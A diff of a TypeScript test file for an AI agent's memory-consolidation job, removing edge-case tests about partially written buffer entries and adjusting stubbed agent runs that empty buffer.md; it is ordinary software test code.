1066
|
-
throw new Error("unreachable");
|
|
1067
|
-
}
|
|
1068
|
-
expect(result.noProgress).toBe(true);
|
|
1069
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
1070
|
-
expect(messagesRequestedFor).toEqual([]);
|
|
1071
|
-
});
|
|
1072
|
-
|
|
1073
|
-
test("an agent that rewrote the buffer anyway still counts as progress, minus what it dropped", async () => {
|
|
1074
|
-
// A customized prompt that trims the buffer itself: the pass's entries
|
|
1075
|
-
// are already gone when the job goes to consume them. That is progress
|
|
1076
|
-
// (the run filed them); the job warns rather than failing the run.
|
|
887
|
+
test("a grown buffer reports noProgress and skips all follow-ups", async () => {
|
|
1077
888
|
runnerImpl = async () => {
|
|
1078
|
-
writeFileSync(
|
|
889
|
+
writeFileSync(
|
|
890
|
+
bufferPath(),
|
|
891
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
892
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
|
|
893
|
+
"- [Apr 27, 9:06 AM] Bob joined the standup.\n",
|
|
894
|
+
);
|
|
1079
895
|
return { conversationId: "conv-1", ok: true };
|
|
1080
896
|
};
|
|
1081
897
|
|
|
@@ -1085,135 +901,9 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
1085
901
|
if (result.kind !== "invoked") {
|
|
1086
902
|
throw new Error("unreachable");
|
|
1087
903
|
}
|
|
1088
|
-
expect(result.noProgress).toBe(
|
|
1089
|
-
expect(result.
|
|
1090
|
-
expect(enqueuedJobs
|
|
1091
|
-
});
|
|
1092
|
-
|
|
1093
|
-
test("a snapshot that caught an append mid-write leaves its last entry for the next pass", async () => {
|
|
1094
|
-
// An append is one write ending in a newline; a snapshot without one
|
|
1095
|
-
// may have caught an append in flight. The job re-reads after a short
|
|
1096
|
-
// settle: the rest of the append lands in that window here, so the
|
|
1097
|
-
// entry is incomplete and is not handed to the run.
|
|
1098
|
-
writeFileSync(
|
|
1099
|
-
bufferPath(),
|
|
1100
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
1101
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of",
|
|
1102
|
-
);
|
|
1103
|
-
setTimeout(() => appendFileSync(bufferPath(), " day.\n"), 10);
|
|
1104
|
-
|
|
1105
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1106
|
-
|
|
1107
|
-
expect(result.kind).toBe("invoked");
|
|
1108
|
-
if (result.kind !== "invoked") {
|
|
1109
|
-
throw new Error("unreachable");
|
|
1110
|
-
}
|
|
1111
|
-
expect(result.consumedEntries).toBe(1);
|
|
1112
|
-
expect(runnerLastArgs?.prompt as string).not.toContain("Alice ships");
|
|
1113
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(
|
|
1114
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
|
|
1115
|
-
);
|
|
1116
|
-
});
|
|
1117
|
-
|
|
1118
|
-
test("a stable buffer without a terminating newline is filed whole", async () => {
|
|
1119
|
-
// A buffer last rewritten without a trailing newline (an agent's
|
|
1120
|
-
// file_write under an older prompt, a hand edit) is a persisted shape
|
|
1121
|
-
// that must keep working: nothing is mid-write, so after the settle
|
|
1122
|
-
// re-read its last entry is complete, filed, and consumed, and the
|
|
1123
|
-
// rewrite leaves the buffer newline-terminated.
|
|
1124
|
-
writeFileSync(
|
|
1125
|
-
bufferPath(),
|
|
1126
|
-
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
1127
|
-
"- [Apr 27, 9:05 AM] Alice ships at end of day.",
|
|
1128
|
-
);
|
|
1129
|
-
|
|
1130
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1131
|
-
|
|
1132
|
-
expect(result.kind).toBe("invoked");
|
|
1133
|
-
if (result.kind !== "invoked") {
|
|
1134
|
-
throw new Error("unreachable");
|
|
1135
|
-
}
|
|
1136
|
-
expect(result.consumedEntries).toBe(2);
|
|
1137
|
-
expect(runnerLastArgs?.prompt as string).toContain(
|
|
1138
|
-
"Alice ships at end of day.",
|
|
1139
|
-
);
|
|
1140
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1141
|
-
});
|
|
1142
|
-
|
|
1143
|
-
test("a single unterminated entry is not deferred forever", async () => {
|
|
1144
|
-
writeFileSync(bufferPath(), "- [Apr 27, 9:00 AM] Only entry, no newline");
|
|
1145
|
-
|
|
1146
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1147
|
-
|
|
1148
|
-
expect(result.kind).toBe("invoked");
|
|
1149
|
-
if (result.kind !== "invoked") {
|
|
1150
|
-
throw new Error("unreachable");
|
|
1151
|
-
}
|
|
1152
|
-
expect(result.consumedEntries).toBe(1);
|
|
1153
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1154
|
-
});
|
|
1155
|
-
|
|
1156
|
-
test("hand-written prose before the first entry is filed with the pass", async () => {
|
|
1157
|
-
writeFileSync(bufferPath(), "Some notes I typed by hand.\n" + TWO_ENTRIES);
|
|
1158
|
-
|
|
1159
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1160
|
-
|
|
1161
|
-
expect(result.kind).toBe("invoked");
|
|
1162
|
-
if (result.kind !== "invoked") {
|
|
1163
|
-
throw new Error("unreachable");
|
|
1164
|
-
}
|
|
1165
|
-
expect(runnerLastArgs?.prompt as string).toContain(
|
|
1166
|
-
"<buffer_entries>\nSome notes I typed by hand.\n- [Apr 27, 9:00 AM]",
|
|
1167
|
-
);
|
|
1168
|
-
expect(result.consumedEntries).toBe(3);
|
|
1169
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe("");
|
|
1170
|
-
});
|
|
1171
|
-
|
|
1172
|
-
test("a buffer whose every entry is stamped with the cutoff minute skips the run", async () => {
|
|
1173
|
-
// Entries stamped in the dispatch minute are the next pass's material,
|
|
1174
|
-
// so a buffer holding only those has nothing eligible: no agent run,
|
|
1175
|
-
// no failure bookkeeping.
|
|
1176
|
-
if (new Date().getSeconds() >= 57) {
|
|
1177
|
-
await Bun.sleep(3500);
|
|
1178
|
-
}
|
|
1179
|
-
const now = new Date();
|
|
1180
|
-
writeFileSync(
|
|
1181
|
-
bufferPath(),
|
|
1182
|
-
formatRememberEntry("Just saved.", now) +
|
|
1183
|
-
formatRememberEntry("Also just saved.", now),
|
|
1184
|
-
);
|
|
1185
|
-
|
|
1186
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1187
|
-
|
|
1188
|
-
expect(result.kind).toBe("nothing_eligible");
|
|
1189
|
-
if (result.kind !== "nothing_eligible") {
|
|
1190
|
-
throw new Error("unreachable");
|
|
1191
|
-
}
|
|
1192
|
-
expect(result.cutoff).toBe(formatBufferTimestamp(now));
|
|
1193
|
-
expect(runnerCalls).toBe(0);
|
|
1194
|
-
expect(existsSync(lockPath())).toBe(false);
|
|
1195
|
-
expect(checkpointStore.size).toBe(0);
|
|
1196
|
-
});
|
|
1197
|
-
|
|
1198
|
-
test("a consume that fails leaves the buffer intact and reports noProgress", async () => {
|
|
1199
|
-
// The consume writes a temp file beside the buffer; a directory it
|
|
1200
|
-
// cannot write to makes it throw. The job must not guess at the
|
|
1201
|
-
// buffer's state: no removal, no follow-ups.
|
|
1202
|
-
chmodSync(memoryDir(), 0o500);
|
|
1203
|
-
try {
|
|
1204
|
-
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1205
|
-
|
|
1206
|
-
expect(result.kind).toBe("invoked");
|
|
1207
|
-
if (result.kind !== "invoked") {
|
|
1208
|
-
throw new Error("unreachable");
|
|
1209
|
-
}
|
|
1210
|
-
expect(result.noProgress).toBe(true);
|
|
1211
|
-
expect(result.consumedEntries).toBe(0);
|
|
1212
|
-
expect(enqueuedJobs).toHaveLength(0);
|
|
1213
|
-
} finally {
|
|
1214
|
-
chmodSync(memoryDir(), 0o700);
|
|
1215
|
-
}
|
|
1216
|
-
expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
|
|
904
|
+
expect(result.noProgress).toBe(true);
|
|
905
|
+
expect(result.followUpJobIds).toEqual([]);
|
|
906
|
+
expect(enqueuedJobs).toHaveLength(0);
|
|
1217
907
|
});
|
|
1218
908
|
|
|
1219
909
|
test("a run that leaves dangling links reports the count and still enqueues follow-ups", async () => {
|
|
@@ -1226,6 +916,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
1226
916
|
join(conceptsDir, "atl-1290.md"),
|
|
1227
917
|
"---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
|
|
1228
918
|
);
|
|
919
|
+
writeFileSync(bufferPath(), "");
|
|
1229
920
|
invalidatePageIndex();
|
|
1230
921
|
return { conversationId: "conv-1", ok: true };
|
|
1231
922
|
};
|
|
@@ -1256,6 +947,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
1256
947
|
invalidatePageIndex();
|
|
1257
948
|
runnerImpl = async () => {
|
|
1258
949
|
writeFileSync(join(conceptsDir, "atl-1291.md"), "# ATL-1291\n");
|
|
950
|
+
writeFileSync(bufferPath(), "");
|
|
1259
951
|
invalidatePageIndex();
|
|
1260
952
|
return { conversationId: "conv-1", ok: true };
|
|
1261
953
|
};
|
|
@@ -1286,7 +978,7 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
1286
978
|
"---\nlinks:\n - atl-1291\n---\n# ATL-1290\n",
|
|
1287
979
|
);
|
|
1288
980
|
invalidatePageIndex();
|
|
1289
|
-
|
|
981
|
+
runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
|
|
1290
982
|
try {
|
|
1291
983
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1292
984
|
|
|
@@ -1327,8 +1019,8 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
|
|
|
1327
1019
|
if (result.kind !== "invoked") {
|
|
1328
1020
|
throw new Error("unreachable");
|
|
1329
1021
|
}
|
|
1330
|
-
// Dedup is not no-progress: the
|
|
1331
|
-
// simply already covered by pending rows.
|
|
1022
|
+
// Dedup is not no-progress: the run drained the buffer; the follow-ups
|
|
1023
|
+
// are simply already covered by pending rows.
|
|
1332
1024
|
expect(result.noProgress).toBe(false);
|
|
1333
1025
|
expect(result.followUpJobIds).toEqual([]);
|
|
1334
1026
|
expect(enqueuedJobs).toHaveLength(0);
|
|
@@ -1534,8 +1226,8 @@ describe("memoryV2ConsolidateJob — consecutive-failure state", () => {
|
|
|
1534
1226
|
|
|
1535
1227
|
test("a completed run with no progress records a transient failure instead of clearing", async () => {
|
|
1536
1228
|
seedFailureState(2, Date.now() - 60_000, "billing");
|
|
1537
|
-
// Completes ok but
|
|
1538
|
-
|
|
1229
|
+
// Completes ok but never touches buffer.md — the stuck-agent shape.
|
|
1230
|
+
runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
|
|
1539
1231
|
|
|
1540
1232
|
const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
1541
1233
|
|